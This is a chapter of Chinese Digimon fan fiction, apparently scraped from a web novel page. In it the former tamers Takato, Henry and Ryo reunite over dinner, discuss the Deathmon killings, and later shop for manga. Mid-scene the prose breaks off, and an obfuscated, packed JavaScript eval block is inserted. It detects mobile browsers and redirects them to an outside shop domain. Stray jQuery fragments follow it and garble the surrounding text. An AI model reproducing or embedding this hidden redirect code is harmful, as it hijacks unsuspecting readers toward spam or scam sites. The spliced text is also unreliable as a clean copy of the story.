“上周。”建良说,“他听说你捡了只新数码兽,非要来看看。”
秋山辽松开手,重新戴好墨镜,目光饶有兴味地落在夏天身上,“松田启人,你从哪捡的?这也太好看了吧——你身边这位要是单独走出去,被搭讪的效果绝对比我还翻倍。”
夏天完全没听懂,但感觉对方在夸自己,于是咧嘴笑了一下,笑容灿烂得整个餐厅的灯光都黯然失色。
夏天脑子里还在努力搜索关于秋山辽的记忆。
嗯,是个很厉害的人。总而言之。
启人也在观察秋山辽。
其实他们也有不短的时间没见了。
只是记忆里的秋山辽虽然是个帅哥,却总穿着松垮的旧T恤,头发随随便便拢在脑后,而眼前这个人,眉骨描着极淡的妆,衬衫领口别着一枚银色的细链胸针,整个人打理得一丝不苟,完全不像是普通人的做派。
“你怎么——”启人的声音还带着没咽下去的惊讶,“你怎么会在这里?你不是……”
“你想说,我不是应该在东京?”辽松开手,重新靠回椅背,随手拨了一下额前的碎发,语气漫不经心,“我这两年,基本都在关西跑通告。今天刚好有个拍摄,路过这边。”
建良替他把话接了下去:“辽高三没念完就退学了。”
启人一愣。
秋山辽倒是不在意的样子,手指转着桌上的咖啡杯,笑了笑:“没办法,我家有人生病了。正好那时候被星探看中,说要组一个什么偶像组合,问我要不要试试。”他耸耸肩,“好、然后我就出道了。现在在『Nova』,一个偶像组合,我还是年纪最大的。”
话题有点沉重,但秋山辽语气很轻松。
他顿了顿,声音轻了一点:“我亲人的病,上个月总算见好。医生说再观察半年,应该就没什么大碍了。所以我这才有空——出来透口气。”
启人沉默了一会儿。他看着秋山辽,最终只能说:“……没事就好。”
同为曾经的驯兽师,他们本该有很多共同语言,可是再见,其实气氛远没有想象中热络。
因为让他们相聚在一起的数码兽,都成了彼此心中最深的伤口。
“哇……”
夏天不知什么时候把叉子放下了。他双手撑着桌沿,凑近了看秋山辽,紫色的眼睛亮得像两颗水晶,每个角度都在闪烁不同的光泽,里面倒映着几十张辽那张轮廓分明的脸:“你确实好帅啊。”
“你像电视剧里的人。男主角那种。”夏天又补了一句,语气真诚到近乎虔诚。
秋山辽愣了一下,随即笑出声来,笑得肩膀都在抖:“……谢谢啊,小美人。”
“我不叫小美人,我叫夏天!”夏天立刻纠正,然后继续用那种亮晶晶的眼神看他,“你真的是明星吗?真的吗?你会唱歌吗?电视里演的那种,在台上唱歌跳舞,台下好多人举着灯牌的那种?”
“会。”辽被他的热情感染,说话也带上了笑意,“改天带你去看。”
“真的吗!”夏天的尾巴在椅子底下欢快地甩了起来,把餐巾都带飞了一张,启人看见,连忙给捡起来。
总的来说,他的表情还算平静,但李建良明显感觉到启人周身的气压降低了。
自家数码兽开始夸别的驯兽师什么的……想想确实很容易吃醋啊。
他只能不轻不重地咳嗽了一声。
“咳。说正事。”他把手里的红酒放下,“辽,你太久没关注那边的事了——有些情况,你得知道。”
辽的神色收敛了几分。他放下咖啡杯,目光扫过建良,又落在启人身上:“……死亡小丑兽,对吧。”
“上个月又出了两起。”启人的声音沉下来,“受害者总数,现在应该是十三个人。”
餐厅里的灯光柔柔地照着,音乐换成了一首舒缓的钢琴曲,一切都温馨而体面——但桌边的空气忽然变得有些沉。辽沉默了片刻,
他看向启人:“你已经和它交过手了,对吧,感觉如何?”
“很强,目前根本不确定能不能打赢。”启人的声音平淡,但握着餐刀的手指不自觉地收紧,“在数码领域里。我进化成红莲骑士兽——完全体——被它一招放倒。所以我和建良商量好,下次一起,二打一。”
辽沉默了一会儿,没有追问细节,只说了句:“很抱歉,我确实很有可能没法随时参战帮忙,不过我会把它的特征记下来,发动圈子里的人脉帮你查。三教九流都有,说不定有人见过类似的怪东西出没,却不知道那是数码兽。”
这次饭局最后在李建良和秋山辽又说了几句闲话后就散了。夏天因为在狂吃通心粉,倒是并没有再对秋山辽进行什么额外夸赞,启人周身的低气压没有持续降低。
离开餐厅时,秋山辽重新戴上墨镜。他站在街边,和建良并肩走了几步,忽然像是想起了什么,偏过头问:“对了——留姬,她最近怎么样?”
建良的脚步顿了一下。
“……她还好。”他沉默了几秒,才开口,“她父母现在很担心她,但她每隔一段时间会发消息报平安。上周刚收到一条,说她一切都好,让他们别担心。”
他说着,把手机屏幕转向辽。屏幕上是一条简短的短信,时间显示在三天前,只有一句话——“我很好,别担心,会回去的。”
辽看着那行字,看了很久,最后只是“嗯”了一声,没有再多问。
“行,那我走了。”他朝他们挥了挥手,转身走向街角等候的黑色轿车,“OK,松田,建良——随时联系。”
夏天追了两步,朝他喊:“啊辽,我一定会抽空去看你的演唱会的!”
秋山辽没有回头,只是抬起手,背对着他们晃了晃。
夏天的目光一直追着那辆车消失在街角,才依依不舍地转回来。他低头看着手里的票,又抬头看了看启人,忽然小声说:“启人,辽人好酷啊。他从前的搭档是不是也很酷。”
启人“嗯”了一声,声音有点闷。
“他长得也好看。”夏天又说,“怪不得有好多姐姐追着他跑呢。”
“嗯。”
“他不仅会唱歌、跳舞!还会切牛排!”
“……嗯。”
李建良站在一边觉得今天一整天扶额次数快超过了去年一年。
很想打断夏天,可现在说什么都不对,谁让夏天什么都不懂呢?
他忽然脑补出一个更可怕的想法——等等,如果夏天真的喜欢上秋山辽,启人怎么办?还要去给自家的数码兽证婚吗?
这个可怕的修罗场图景出现在李建良脑海的那刹那让他立刻下定决心——一定要让帮好兄弟打出HE。
“夏天,夏天。”李建良用尽量不刻意的语气叫他,然后盯着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17800218|210599||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
松田启人,“你的驯兽师也曾经是拯救世界的英雄,那时候也有很多人说他帅爆了。”
夏天眨巴着大眼,然后终于注意到启人的不对劲了。他偏过头,歪着脑袋看启人的脸:“启人,你怎么了?你不高兴吗?”
“没有。”启人光速否认。
夏天仔细打量启人。
其实他还是没明白启人为什么不高兴,但李建良的话,他也顺着想了想。他当然知道启人很帅了,但帅是启人身上根本不重要的闪光点嘛,就像夸一根萝卜却说它真的很红一样,没有必要这样说啊,应该夸他很好吃。
“启人当然很帅,红莲骑士兽是我见过世界上最帅的数码兽了。”
夏天认真给出自己的结论。
李建良在旁边长长呼出一口气。有救了。
启人耳根微微发红,却没接夏天的话。
“我记得前面有家漫画店,答应过你,还可以给你买一本漫画,要不要现在去看看?”
夏天立刻蹦起来。
“要看,要看!”
李建良在后面看着夏天已经开始爆冲,而启人立刻像发现自家没牵绳的狗要跑丢了一样慌慌张张跟上,摇头叹气。
以后启人的婚礼,他一定得坐主桌。
---
漫画店里灯光昏黄,漫画堆得比人还高。夏天一头扎进四格漫画区,从书架上抽出一本又一本,翻一翻,放回去,再抽一本,乐此不疲。启人站在过道口,看着那个紫色的背影在书架间穿梭,听着纸张翻动的沙沙声,终于把心底憋了一会儿的话问出口。
“建良。”他终于开口,声音压得很低,“……你知不知道,怎么健身?”
建良翻书的手停住了。他抬起头,看着启人,看了两秒,然后笑出了声。
“健身?”他合上中国菜食谱,语气带着一种心知肚明的调侃,“你?怎么突然想健身了?”
“就是……觉得该锻炼了。”启人别开视线,声音含糊,“最近体能跟不上,进化之后排异反应也比以前重。”
“哦——”建良点点头,语调意味深长,脸上的笑意却一点没减,“那确实该锻炼。”
他顿了顿,又补了一句,语气轻飘飘的:“——不过我怎么觉得,你不是因为体能才想练的?”
启人的耳根又开始发热,但眼神无比坚定,好像死亡小丑兽就在他面前:“本来锻炼身体就很有必要,只是我忙于打工,太懒怠了。”
李建良心想你就装吧。
“好。”建良把食谱放回书架,还是马上拿出手机,给他发了个健身房的地址,“我推荐你去这家,我叔叔在那边投资过,可以让你半价办卡,还有单独的单人健身隔间,你可以带上夏天。”
启人点点头,一副了解事态的严肃表情。
李建良还想略微调侃一下,可书架的尽头传来夏天的声音:“启人!我选好了!这本可以吗!”
启人的步伐便立刻轻快地迈向了夏天。
“只能买一本。”
李建良在身后无奈笑笑。
他转头,向店门外的天空看了看。
风送来了带着隔壁街烧鸟的香味,天空已经渐渐被晕染成浅紫色,这是个很温热的、寻常的初夏夜。
不知道几十万公里外的数码星球,他们的伙伴是不是也在想他们。
————